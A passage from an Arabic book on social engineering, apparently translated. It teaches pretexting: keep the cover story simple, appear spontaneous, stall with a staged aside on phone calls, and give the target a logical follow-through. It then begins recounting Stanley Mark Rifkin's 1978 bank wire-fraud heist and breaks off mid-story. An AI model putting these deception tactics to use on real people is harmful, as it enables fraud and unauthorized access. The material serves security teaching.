‫)ﺗﻠﻐﺑطﮫ(‪ .‬ﺣﺗﻰ ان ﻟم ﯾﺿطر اﻟﻛﺎذب اﻟﻰ ﺗﻐﯾر ﺑﻌض اﻷﻛﺎذﯾب اﻟﺗﻲ اﻧﺷﺎﺋﮭﺎ ﻧﺗﯾﺟﺔ ظروف ﻣﺎ‪ .‬ﻓﺎن ﺑﻌض اﻟﻛﺎذﺑﯾن ﻗد ﯾﺟدون ﺻﻌوﺑﺔ ﻓﻲ ﺗذﻛر‬
‫اﻷﻛﺎذﯾب اﻟﺗﻲ أﻧﺷﺄوھﺎ ﺳﺎﺑﻘﺎ ﺑﺄﻧﻔﺳﮭم‪ ،‬ﻟذﻟك اﻷﺳﺋﻠﺔ اﻟﺟدﯾدة ﻻ ﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻋﻠﯾﮭﺎ ﺑﺳرﻋﺔ"(‪.‬‬
‫ﺗوﺿﺢ ھذه اﻟﻧﻘطﺔ اﻟﺑﺎرزة ﺟدا ﺑوﺿوح ﻟﻣﺎذا ﻣن اﻷﻓﺿل ان ﯾﻛون اﻠ ‪ Pretext‬ﺑﺳﯾط‪ .‬ﺣﺎول أن ﺗﺗذﻛر داﺋﻣﺎ ﻛﻠﻣﺎ ﻛﺎﻧت اﻠ ‪ Pretext‬اﻟﺗﻲ‬
‫ﺗرﯾد اﺳﺗﺧداﻣﮭﺎ ﻣﻌﻘده ﻛﻠﻣﺎ ﻛﺎن اﻗل ﺧطﺄ ﺑﺳﯾط ﯾؤدى اﻟﻰ ﻛﺷﻔﮭﺎ ﺑﺳﮭوﻟﮫ‪ .‬ﻟذﻟك اﻠ ‪ Pretext‬ﯾﻧﺑﻐﻲ أن ﯾﻛون طﺑﯾﻌﯾﺎ وﺳﻠﺳﺎ‪ .‬ﯾﺟب أن ﯾﻛون ﻣن‬
‫اﻟﺳﮭل أن ﻧﺗذﻛره‪ ،‬ﻓﺈذا ﻛﻧت ﺗﺷﻌر ﺑﮫ طﺑﯾﻌﯾﺎ’ ﻓﺎن ﻣذﻛرة اﻟﺣﻘﺎﺋﻖ أو اﻟﺧطوط اﻟﻣﺳﺗﺧدﻣﺔ ﺳﺎﺑﻘﺎ ﻓﻲ ھذا اﻠ ‪ Pretext‬ﻟن ﯾﻛون ﻣﮭﻣﺎ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ‬
‫إﻟﻰ ﺗذﻛر اﻟﺣﻘﺎﺋﻖ‪ ،‬ﻣن اﻟﻣﮭم أﯾﺿﺎ اﻟﺣﻔﺎظ ﻋﻠﻰ اﻟﺗﻔﺎﺻﯾل اﻟﺻﻐﯾرة‪ .‬اﻠ ‪ Pretext‬اﻟﺑﺳﯾطﺔ ﺗﺳﻣﺢ ﻟﻠﻘﺻﺔ ان ﺗﻧﻣو وﺗﺟﻌل اﻟﮭدف ﯾﺳﺗﺧدم ﺧﯾﺎﻟﮫ‬
‫ﻟﻣلء اﻟﻔﺟوات‪ .‬ﻻ ﺗﺣﺎول أن ﺗﺟﻌل اﻠ ‪ Pretext‬ﻣﻔﺻﻠﮫ‪ ،‬وﻗﺑل ﻛل ﺷﻲء‪ ،‬ﺗذﻛر اﻟﺗﻔﺎﺻﯾل اﻟﺻﻐﯾرة اﻟﺗﻲ ﺗﺟﻌل اﻟﻔرق ﻓﻲ ﻧظرة اﻟﻧﺎس‪.‬‬
‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ھﻧﺎ أﯾﺿﺎ ﻣوﺿوع ﻣﺛﯾر ﻟﻼھﺗﻣﺎم‪ :‬وھو اﺳﻠوب ﺷﺎﺋﻊ ﯾﺳﺗﺧدﻣﮫ اﻟﻣﺟرﻣون اﻟﻣﺷﮭورﯾن واﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن ھو ﺟﻌل ﺑﻌض‬
‫اﻷﺧطﺎء ﻋﻣدا‪ .‬اﻟﻔﻛر ھو أن "ﻻ أﺣد ﻋﻠﻰ ﻣﺎ ﯾرام"‪ ،‬وﺑﻌض اﻷﺧطﺎء ﺗﺟﻌل اﻟﻧﺎس ﯾﺷﻌرون أﻧﮭم ﻓﻲ اﻟﻣﻧزل‪ .‬ﻛن ﺣذرا ﻣﻊ أﻧواع اﻷﺧطﺎء اﻟﺗﻲ‬
‫ﻋﻠﯾك أن ﺗﻘرر اﺳﺗﺧداﻣﮭﺎ إذا ﻛﻧت ﺗﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك ﻷﻧﮭﺎ ﻣن اﻟﻣﻣﻛن أن ﯾﺿﯾف اﻟﺗﻌﻘﯾد إﻟﻰ اﻠ ‪ ،Pretext‬وﻟﻛن ذﻟك ﻻ ﯾﺟﻌل اﻟﻣﺣﺎدﺛﺔ ﺗﺑدو‬
‫أﻛﺛر طﺑﯾﻌﯾﺔ‪ .‬ﺗذﻛر اﻟﺑﺳﺎطﺔ وﻗﻠﺔ اﻟﺗﻔﺎﺻﯾل ﺗﺟﻌل اﻠ ‪ Pretext‬ھذه أﻛﺛر ﺗﺻدﯾﻘﺎ‪ ،‬وﺗﻌﻣل ﺟﯾدا‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪819‬‬

‫اﻠ ‪ Pretext‬ﯾﺠﺐ أن ﯾﻈﮭﺮ ﻋﻔﻮﯾﺎ‪/‬ﺗﻠﻘﺎﺋﯿﺎ‬

‫ﺟﻌل اﻠ ‪ Pretext‬ﯾظﮭر ﻋﻔوﯾﺔ ﯾﻌود اﻟﻰ وﺟﮭﺔ ﻧظري ﻋﻠﻰ اﺳﺗﺧدام اﻟﺧطوط اﻟﻌرﯾﺿﺔ ﻣﻘﺎﺑل اﺳﺗﺧدام اﻟﻧص‪ .‬ﺣﯾث اﺳﺗﺧدام اﻟﺧطوط‬
‫اﻟﻌرﯾﺿﺔ ﺗﺳﻣﺢ داﺋﻣﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﻣزﯾد ﻣن اﻟﺣرﯾﺔ‪ ،‬اﻣﺎ اﺳﺗﺧدام ﺳﯾﻧﺎرﯾو او ﻧص ﻣﺣدد ﺳوف ﺗﺟﻌل اﻟﻣﮭﻧدس اﺟﺗﻣﺎﻋﯾﺔ ﻛﺎﻟروﺑوت‪.‬‬
‫أﻧﮫ ﯾرﺑط أﯾﺿﺎ ﻓﻲ أن اﺳﺗﺧدام اﻟﻌﻧﺎﺻر أو اﻟﻘﺻص اﻟﺗﻲ ﺗﮭم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺷﺧﺻﯾﺎ‪ .‬إذا ﻓﻲ ﻛل ﻣره ﯾطﻠب ﻣﻧك ﺷﺧص ﺳؤال أو‬
‫ﯾﺟﻌل ﺑﯾﺎن ﯾﺗطﻠب ﻣﻧك اﻟﺗﻔﻛﯾر‪ ،‬أو اﻟﺑدء ﻓﻲ اﻟﺗﻔﻛﯾر ﺑﻌﻣﻖ‪ ،‬وأﻧت ﻻ ﯾﻣﻛن أن ﺗﻌود ﻣﻊ ﺟواب ذﻛﻲ‪ ،‬ﻓﺈﻧﮫ ﺳوف ﯾدﻣر ﻣﺻداﻗﯾﺗك‪ .‬ﺑﺎﻟطﺑﻊ اﻟﻛﺛﯾر‬
‫ﻣن اﻟﻧﺎس ﯾﻔﻛرون ﻗﺑل أن ﯾﺗﻛﻠﻣوا‪ ،‬ﻟذﻟك ﻓﮭذا ﻟﯾس ﻋن وﺟود اﻹﺟﺎﺑﺔ ﻓﻲ ﺛﺎﻧﯾﺔ واﺣدة‪ ،‬وﻟﻛن ﻋن وﺟود اﻹﺟﺎﺑﺔ أو ﺳﺑﺑﺎ ﻟﻌدم وﺟود اﻟﺟواب‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ واﺣدة ﺳﺋﻠت ﻋن ﻗطﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟم ﺗﻛن ﻟدي‪ .‬أﻧﺎ ﺑﺑﺳﺎطﺔ أﻗول‪" :‬اﺳﻣﺣوا ﻟﻲ ﺑﺎﻟﺣﺻول ﻋﻠﻰ‬
‫ذﻟك"‪ .‬ﺛم اﻧﺣﻧﻰ أﻛﺛر واﺟﻌل اﻷﻣر ﯾﺑدو وﻛﺄﻧﻧﻲ اﺻرخ‪" :‬ﺟﯾل‪ ،‬ﻣن ﻓﺿﻠك ھل ﯾﻣﻛن ان ﺗطﻠب ﻣن ﺑﯾل أن ﯾﻌطﯾﻧﻲ ﻧﻣوذج اﻟطﻠب ﻟﺣﺳﺎب‬
‫‪XYZ‬؟ ﺷﻛرا‪".‬‬
‫ﻟﻘد ﺟﻣﻌت ﻗﺎﺋﻣﺔ ﺻﻐﯾرة ﻣن اﻟطرق اﻟﺗﻲ ﯾﻣﻛﻧك اﻟﻌﻣل ﺑﮭﺎ ﻟﻛﻲ ﺗﻛون أﻛﺛر ﻋﻔوﯾﺔ‪:‬‬
‫‪ -‬ﻻ ﺗﻔﻛر ﻛﯾف ﺗﺷﻌر )‪ .(Don’t think about how you feel‬ھذه اﻟﻧﻘطﺔ ﻓﻛرة ﺟﯾدة‪ ،‬ﻷﻧﮫ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻓﻲ اﻠ ‪Pretext‬‬
‫إذا ﻗﻣت ﺑﺎﻟﺗﻔﻛﯾر اﻟزاﺋد ﻓﺎن ھذا ﺳوف ﯾﺑدا ﺑﺈﺿﺎﻓﺔ اﻟﻌﺎطﻔﺔ اﻟﻰ ھذا اﻟﻣزﯾﺞ‪ ،‬واﻟذي ﯾﻣﻛن أن ﯾﺗﺳﺑب ﺑﺎﻟﺧوف واﻟﻌﺻﺑﯾﺔ‪ ،‬أو اﻟﻘﻠﻖ‪،‬‬
‫وﻛﻠﮭﺎ ﺗؤدي إﻟﻰ اﻟﻔﺷل‪ .‬ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﻗد ﻻ ﺗواﺟﮫ اﻟﻌﺻﺑﯾﺔ أو اﻟﺧوف‪ ،‬وﻟﻛن اﻹﻓراط ﻓﻲ اﻹﺛﺎرة‪ ،‬واﻟﺗﻲ ﯾﻣﻛن أﯾﺿﺎ أن ﯾﺳﺑب ﻟك‬
‫اﻟﻛﺛﯾر ﻣن اﻻﺧطﺎء‪.‬‬
‫‪ -‬ﻻ ﺗﺄﺧذ ﻧﻔﺳك ﻋﻠﻰ ﻣﺣﻣل اﻟﺟد )‪ .(Don’t take yourself too seriously‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ھذه ھﻲ اﻟﻧﺻﯾﺔ اﻟﻛﺑرى ﻓﻲ اﻟﺣﯾﺎة‪،‬‬
‫وﻟﻛﻧﮫ ﯾﻧطﺑﻖ ﺑﺷﻛل راﺋﻊ ﻋﻠﻰ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻛﺧﺑﯾر اﻣﻧﻰ ﻓﺈﻧك ذات وظﯾﻔﺔ ﺧطﯾرة‪ .‬وﻟﻛن إذا ﻛﻧت ﻏﯾر ﻗﺎدرا ﻋﻠﻰ اﻟﺿﺣك ﻋﻠﻰ‬
‫أﺧطﺎﺋك‪ ،‬ﻓﻘد ﯾؤدى ھذا اﻟﻰ إﻣﺎ أن ﺗﻛون ھﺎدﺋﺎ او ﻋﺻﺑﯾﺎ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ ﻋﺛرة ﺻﻐﯾرة ﻓﻲ اﻟطرﯾﻖ‪ .‬أﻧﺎ ﻻ أﻗﺗرح أن ﺗﺄﺧذ اﻷﻣن ﻋﻠﻰ‬
‫ﺳﺑﯾل اﻟﻣزاح‪ .‬ﻓﻲ ﻋﻘﻠك‪ ،‬إذا ﻗﻣت ﺑﻌرض ﻓﺷل ﻣﺣﺗﻣل‪ ،‬ﻓﺎن ھذا ﯾؤدى اﻟﻰ إﻧﺷﺎء اﻟﺿﻐوط واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ أن ﺗﺳﺑب ﻣﺎ ﻛﻧت ﺗﺧﺷﺎه ﻓﻲ‬
‫ﺣﯾﺎﺗك أﻛﺛر ﻣن ﻏﯾرھﺎ‪ .‬اﻟﻔﺷل اﻟطﻔﯾف ﻏﺎﻟﺑﺎ ﻣﺎ ﯾؤدي إﻟﻰ ﻣزﯾد ﻣن اﻟﻧﺟﺎح إذا ﻛﺎن ﻟدﯾك اﻟﻘدرة ﻋﻠﻰ اﻟﺗﻌﺎﻣل ﻣﻌﮫ‪.‬‬
‫‪ -‬ﺗﻌﻠم ﻟﺗﺣدﯾد ﻣﺎ ھو ﻣﮭم )‪ .(Learn to identify what is relevant‬أﺣب ھذا اﻟﻣﻔﮭوم‪" ،‬اﺧرج ﻣن رأﺳك وأدﺧل إﻟﻰ اﻟﻌﺎﻟم"‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد ﯾﺿﻊ اﻟﺧطﺔ ﺑﺎﺳﺗﺧدام اﻟﺧطوات اﻟﺳﺎﺑﻘﺔ وﻓﻲ ھذه اﻷﺛﻧﺎء ﻗد ﯾﻐﯾب ﻋﻧﮫ ﺑﻌض اﻟﺗﻔﺎﺻﯾل اﻟﺣﯾوﯾﺔ واﻟﺗﻲ ﻣن‬
‫اﻟﻣﻣﻛن أن ﺗﺳﺑب ﻓﺷل اﻠ ‪ .Pretext‬ﻛن ﺳرﯾﻌﺔ ﻓﻲ اﻟﺗﻌرف ﻋﻠﻰ اﻟﻣواد واﻟﻣﻌﻠوﻣﺎت ذات اﻟﺻﻠﺔ ﻣن ﺣوﻟك‪ ،‬ﺳواء ﻛﺎﻧت ﻟﻐﺔ اﻟﺟﺳد‬
‫اﻟﮭدف‪ ،‬اﻟﻛﻠﻣﺎت اﻟﻣﻧطوﻗﺔ‪ ،‬أو اﻟﺗﻌﺑﯾرات اﻟدﻗﯾﻘﺔ )ﺳوف ﻧﺗﻛﻠم ﻋﻠﯾﮫ ﻻﺣﻘﺎ(‪ ،‬واﺳﺗﯾﻌﺎب اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﮭﺟوم‪.‬‬
‫ﺿﻊ ﻓﻲ اﻋﺗﺑﺎرك أن اﻟﻧﺎس ﯾﻣﻛﻧﮭم أن ﯾﻘوﻟوا ﻋﻧدﻣﺎ ﻣﺎ ﻻ ﯾﺻﻐﻲ ﺣﻘﺎ إﻟﻰ ﻣﺎ ﯾﻘوﻟوﻧﮫ‪ .‬اﻟﺣﺻول ﻋﻠﻰ ﺷﻌور ﺑﺄن اﻟﺟﻣل ﻏﯾر ﻣﮭﻣﮫ ﺣﺗﻰ ﻻ ﺗﺟد‬
‫آذاﻧﺎ ﺻﺎﻏﯾﺔ ﺗوﺟد ﻓﻲ ﻧﻔر واﺳﻊ ﻟﻛﺛﯾر ﻣن اﻟﻧﺎس‪ .‬اﺣرص ﻋﻠﻰ اﻻﺳﺗﻣﺎع إﻟﻰ ﻣﺎ ﯾﻘوﻟﮫ اﻟﮭدف‪ .‬ﺑدون إﯾﻼء أي اھﺗﻣﺎم وﺛﯾﻖ‪ ،‬وﻣن ھﻧﺎ ﺳوف‬
‫ﺗﻠﺗﻘط اﻟﺗﻔﺎﺻﯾل اﻟﺗﻲ ھﻲ ﻣﮭﻣﺔ ﺟدا ﻟﮭم‪ ،‬وﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ‪ ،‬ﺗﻛون ﻗد ﺳﻣﻌت ﺷﯾﺋﺎ ﻟﻣﺳﺎﻋدﺗك ﻓﻲ اﻟﻧﺟﺎح‪.‬‬
‫‪ -‬اﻟﺳﻌﻲ ﻻﻛﺗﺳﺎب اﻟﺧﺑرة )‪ .(seek to gain experience‬اﻛﺗﺳﺎب اﻟﺧﺑرة ﻣن ﺧﻼل اﻟﻣﻣﺎرﺳﺔ ﯾﻣﻛﻧﮭﺎ ان ﺗؤدى اﻟﻰ ﻓﺷل او ﻧﺟﺎح اﻠ‬
‫‪ .Pretext‬اﻟﻣﻣﺎرﺳﺔ اﻟﻌﻔوﯾﺔ ﻣﻊ اﻟﻌﺎﺋﻠﺔ واﻷﺻدﻗﺎء واﻟﻐرﺑﺎء ﺑدون أي ھدف ﻓﻲ اﻻﻋﺗﺑﺎر وﻟﻛن أن ﺗﻛون ﻋﻔوﯾﺔ‪ .‬اﻟﻣﺣﺎدﺛﺎت اﻟﺑﺳﯾطﺔ‬
‫اﻟﺻﻐﯾرة ﯾﻣﻛﻧﮭﺎ أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺟﻌﻠك ﺗﺷﻌر ﺑﺎﻟراﺣﺔ ﻟﻛوﻧﮭﺎ ﻋﻔوﯾﺔ‪.‬‬
‫ھذه اﻟﻧﻘﺎط ﯾﻣﻛﻧﮭﺎ أن ﺗﻌطﻲ ﺑﺎﻟﺗﺄﻛﯾد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﯾد اﻟﻌﻠﯾﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻠ ‪ .pretexting‬اﻣﺗﻼك اﻟﻘدرة ﻋﻠﻰ أن ﺗظﮭر ﻋﻔوﯾﺎ‬
‫ھدﯾﺔ‪.‬‬
‫ﺗﻮﻓﯿﺮ اﻻﺳﺘﻨﺘﺎج اﻟﻤﻨﻄﻘﻲ أو اﻟﻤﺘﺎﺑﻌﺔ ﻣﻦ ﺧﻼل اﻟﮭﺪف )‪(Provide a Logical Conclusion or Follow-through for the Target‬‬
‫ﺻدق أو ﻻ ﺗﺻدق اﻟﻧﺎس ﯾرﯾدون أن ﯾﻘﺎل ﻟﮭم ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ‪ .‬ﺗﺧﯾل ﻟو أﻧك ذھﺑت اﻟﻰ اﻟطﺑﯾب‪ ،‬ﺛم ﻗﺎم ﺑﻔﺣﺻك‪ ،‬وﻛﺗب ﺑﻌض اﻷﺷﯾﺎء ﻋﻠﻰ‬
‫ﻣﺧطط ﻟﮫ‪ ،‬وﻗﺎل ﻟك‪" :‬ﺣﺳﻧﺎ‪ .‬اراك ﺧﻼل ﺷﮭر" ھذا ﻟن ﯾﻛون ﻣﻘﺑوﻻ‪ .‬ﺣﺗﻰ ﻓﻲ ﺣﺎﻟﺔ اﻷﺧﺑﺎر اﻟﺳﯾﺋﺔ‪ ،‬ﻓﺎﻟﻧﺎس ﺗرﯾد أن ﯾﻘﺎل ﻟﮭم اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ‬
‫وﻣﺎذا ﺗﻔﻌل‪.‬‬
‫ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻋﻧد ﻣﻐﺎدرة اﻟﮭدف‪ ،‬ﻗد ﺗﺣﺗﺎج ﻟﮫ أن ﯾﺄﺧذ أو ﻻ ﯾﺄﺧذ إﺟراء ﻣﺎ‪ ،‬أو ﻛﻧت ﻗد ﺣﺻﻠت ﻋﻠﻰ ﻣﺎ ﺟﺋت ﻟﮫ وﺗﺣﺗﺎج ﻓﻘط‬
‫اﻟﻣﻐﺎدرة‪ .‬ﻣﮭﻣﺎ ﻛﺎﻧت اﻟظروف‪ ،‬إﻋطﺎء اﻟﮭدف اﺳﺗﻧﺗﺎج أو ﻣن ﺧﻼل اﻟﻣﺗﺎﺑﻌﺔ ﯾﻣﻸ اﻟﻔﺟوات اﻟﻣﺗوﻗﻌﺔ ﻟﮭذا اﻟﮭدف‪.‬‬
‫ﺗﻣﺎﻣﺎ ﻛﻣﺎ ﻟو ﻛﻧت طﺑﯾﺑﺎ ﯾﻔﺣص ﻣرارا وﯾرﺳﻠك اﻟﻰ اﻟﻣﻧزل ﺑدون أي ﺗوﺟﯾﮭﺎت‪ ،‬ﻣﺛﻼ إذا وﺟدت طرﯾﻘك إﻟﻰ ﻣﻧظﻣﺔ ﻣﺎ ﻛرﺟل اﻟدﻋم اﻟﻔﻧﻲ وﻣن‬
‫ﺛم ﺧرﺟت دون أن ﺗﻘول أي ﺷﻲء ﻷﺣد ﺑﻌد اﺳﺗﻧﺳﺎخ ﻗﺎﻋدة اﻟﺑﯾﺎﻧﺎت‪ ،‬ﻓﮭذا ﯾﻣﻛﻧﮫ أن ﯾﺗرك اﻟﺟﻣﯾﻊ ﯾﺗﺳﺎءل ﻣﺎذا ﺣدث‪.‬‬
‫اﻟﺟزء ﺻﻌﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو اﻟﺣﺻول ﻋﻠﻰ اﻟﮭدف ﻻﺗﺧﺎذ إﺟراء ﺑﻌد ذھﺎﺑﮫ‪ .‬إذا ﻛﺎن اﻻﺟراء أﻣر ﺣﯾوي ﻻﺳﺗﻛﻣﺎل ﺗدﻗﯾﻖ اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻓﺈﻧك ﻗد ﺗرﯾد أن ﺗﺄﺧذ ھذا اﻟدور ﻋﻠﻰ ﻧﻔﺳك‪.‬‬
‫ﻛﻣﺎ ذﻛر ﻓﻲ وﻗت ﺳﺎﺑﻖ‪ ،‬ﻗد ﯾوﺟد اﻟﻣزﯾد ﻣن اﻟﺧطوات ﻹﺗﻘﺎن اﻠ ‪ ،Pretext‬وﻟﻛن ﺗﻠك اﻟﻣذﻛورة ﻓﻲ ھذا اﻟﻔﺻل ﯾﻣﻛن أن ﺗﻌطﻲ ﻟﻠﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ أﺳﺎﺳﺎ ﻣﺗﯾﻧﺎ ﻟﺑﻧﺎء اﻠ ‪ Pretext‬ﻟﻠﺗﺻدﯾﻖ ﺗﻣﺎﻣﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪820‬‬

‫ﻛﻧت ﻗد ﺗﻛون ﻣﺗﺳﺎﺋﻼ "ﺣﺳﻧﺎ‪ ،‬ﻟﻘد ﺳردﻧﺎ ﻛﺎﻓﺔ ھذه اﻟﻣﺑﺎدئ‪ ،‬وﻟﻛن ﻣﺎذا ﻧﻔﻌل اﻵن؟" ﻛﯾف ﯾﻣﻛن ﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﻧﺎء اﻠ ‪ Pretext‬ﻣدروﺳﺔ‬
‫ﺟﯾدا‪ ،‬ﻣﺻدﻗﮫ‪ ،‬ﻋﻔوﯾﺔ‪ ،‬ﺑﺳﯾطﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻌﻣل إﻣﺎ ﻋﻠﻰ اﻟﮭﺎﺗف أو ﻓﻲ ﺷﺧص واﻟﺣﺻول ﻋﻠﻰ اﻟﻧﺗﺎﺋﺞ اﻟﻣرﺟوة؟‬

‫اﻠ ‪ Pretext‬اﻟﻧﺎﺟﺢ‬
‫ﻟﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ ﺑﻧﺎء ‪ Pretext‬ﻧﺎﺟﺣﺔ‪ ،‬ﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ ﺑﺿﻊ اﻟﻘﺻص ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾﯾن اﻟذﯾن اﺳﺗﺧدﻣوا اﻠ ‪ Pretext‬اﻟﺗﻲ ﻋﻣﻠت‬
‫وﻛﯾف أﻧﮭﺎ وﺿﻌت ﻟﮭم‪.‬‬
‫ﻗﺼﺔ‪Stanley Mark Rifkin :‬‬
‫‪ Stanley Mark Rifkin‬ﻟﻘد ارﺗﺑط اﺳﻣﮫ ﻣﻊ واﺣده ﻣن اﻛﺑر ﻋﻣﻠﯾﺎت اﻟﺳطو ﻋﻠﻰ اﻟﺑﻧوك ﻓﻲ ﺗﺎرﯾﺦ أﻣرﯾﻛﺎ‪.‬‬
‫‪http://www.social-engineer.org/wiki/archives/Hackers/hackers-Mark-Rifkin-Social-Engineer-furtherInfo.htm‬‬
‫ﻛﺎن رﯾﻔﻛﯾن ﻣﮭوس ﺑﺎﻟﻛﻣﺑﯾوﺗر وﻛﺎن ﯾدﯾر ﺷرﻛﺔ اﺳﺗﺷﺎرات اﻟﻛﻣﺑﯾوﺗر ﻣن ﺷﻘﺗﮫ اﻟﺻﻐﯾرة‪ .‬ﻛﺎن أﺣد ﻣوﻛﻠﯾﮫ اﻟﺷرﻛﺔ اﻟﺗﻲ ﺗﺧدم أﺟﮭزة‬
‫اﻟﻛﻣﺑﯾوﺗر ﻓﻲ ﺑﻧك ‪ .Security Pacific‬ﺣﯾث ﯾﺗﻛون ﻣﻘر اﻟﺑﻧك )‪ (Security Pacific National‬ﻣن ‪ 55‬طﺎﺑﻖ ﻓﻲ ﻟوس اﻧﺟﻠﯾس ﻣﺛل‬
‫ﻗﻠﻌﺔ اﻟﺟراﻧﯾت واﻟزﺟﺎج‪ .‬ﺣراس ذات رداء داﻛن ﯾﺟوﺑون اﻟﻣﺑﻧﻰ وﻛﺎﻣﯾرات ﺧﻔﯾﮫ ﺗﻘوم ﺑﺗﺻوﯾر اﻟﻌﻣﻼء اﻟذﯾن ﯾﻘوﻣون ﺑﺎﻟﺳﺣب واﻹﯾداع‪.‬‬
‫ﯾﺑدو أن ھذا اﻟﻣﺑﻧﻰ ﻻ ﯾﻣﻛن اﺧﺗراﻗﮫ‪ ،‬ﻟذﻟك ﻛﯾف ﺗم اﻻﺳﺗﯾﻼء ﻋﻠﻰ ﻣﺑﻠﻎ ‪ 10.2‬ﻣﻠﯾون دوﻻر ﺑواﺳطﺔ رﯾﻔﻛﯾن‪ ،‬ﺑدون أن ﯾﺣﻣل ﻣﺳدﺳﺎ‪ ،‬ﺑدون أن‬
‫ﯾﻠﻣس دوﻻرا واﺣدا‪ ،‬وﺑدو أن ﯾﻣﺳك ﺑﺄي ﺷﺧص؟‬
‫ﺑدت ﺳﯾﺎﺳﺎت اﻟﺗﺣوﯾﻼت ﻟﻠﻣﺻرف آﻣﻧﺔ‪ .‬ﺣﯾث أن اﻻذوﻧﺎت‪/‬ﺗﺻرﯾﺣﺎت اﻟﺗﺣوﯾل ﺗﺗم ﺑﺎﺳﺗﺧدام اﻛواد رﻗﯾﻣﮫ واﻟﺗﻲ ﯾﺗم ﺗﻐﯾرھﺎ ﯾوﻣﯾﺎ وﺗﻌطﻰ ﻓﻘط‬
‫ﻟﻠﻣوظﻔﯾن اﻟﻣﻌﺗﻣدﯾن ﻟدﯾﮭم‪ .‬ﺣﯾث ﯾﺗم وﺿﻊ ھذه اﻷﻛواد اﻟﺟدﯾدة ﻋﻠﻰ اﻟﺣﺎﺋط ﻓﻲ ﺣﺟرة اﻣﻧﮫ واﻟﺗﻲ ﻟن ﯾدﺧﻠﮭﺎ ﻓﻘط ﻏﯾر اﻟﻣﺻرح ﻟﮭم ﺑﺎﻟدﺧول‪.‬‬
‫وذﻛرت ھذه اﻟﻣﺎدة اﻟﻣؤرﺷﻔﺔ ﺳﺎﺑﻘﺎ‪:‬‬
‫ﻓﻲ أﻛﺗوﺑر ﻋﺎم ‪ ،1978‬زار رﯾﻔﻛﯾن ﺑﻧﻛك ‪ ،Security Pacific‬ﺣﯾث ﺗﻌرف ﻋﻠﯾﮫ ﻣوظﻔﻲ اﻟﺑﻧك ﺑﺳﮭوﻟﺔ ﻋﻠﻰ اﻧﮫ ﻋﺎﻣل اﻟﻛﻣﺑﯾوﺗر‪ .‬أﺧذ‬
‫اﻟﻣﺻﻌد إﻟﻰ ﻣﺳﺗوى ‪ ،D‬ﺣﯾث ﻛﺎﻧت ﺗﻘﻊ ﻏرﻓﺔ اﻟﺗﺣوﯾﻼت ﻟﻠﺑﻧك‪ .‬ﺷﺎب ﻟطﯾف وودود‪ ،‬ﺗﻣﻛن ﻣن اﻟﺣدﯾث ﻹﯾﺟﺎد طرﯾﻘﮫ اﻟﻰ اﻟﻐرﻓﺔ ﺣﯾث ﯾﺗم‬
‫ﻧﺷر‪/‬وﺿﻊ اﻟﻛود اﻟﺳري ﻟﻠﺑﻧك رﻣز اﻟﯾوم ﻋﻠﻰ اﻟﺣﺎﺋط‪ .‬ﻗﺎم رﯾﻔﻛﯾن ﺑﺣﻔظ اﻟرﻣز وﺗرك اﻟﻣﻛﺎن دون إﺛﺎرة اﻟﺷﻛوك‪.‬‬
‫ﻗرﯾﺑﺎ‪ ،‬ﺗﻠﻘﻰ ﻣوظﻔﻲ اﻟﺑﻧك ﻓﻲ ﻏرﻓﺔ اﻟﻧﻘل ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻣن رﺟل ﻋرف ﻧﻔﺳﮫ ﺑﺎﺳم ﻣﺎﯾك ھﺎﻧﺳن‪ ،‬وھو ﻣوظف ﻓﻲ اﻟﺗﻘﺳﯾم اﻟدوﻟﻲ ﻟﻠﺑﻧك‪ .‬أﻣر‬
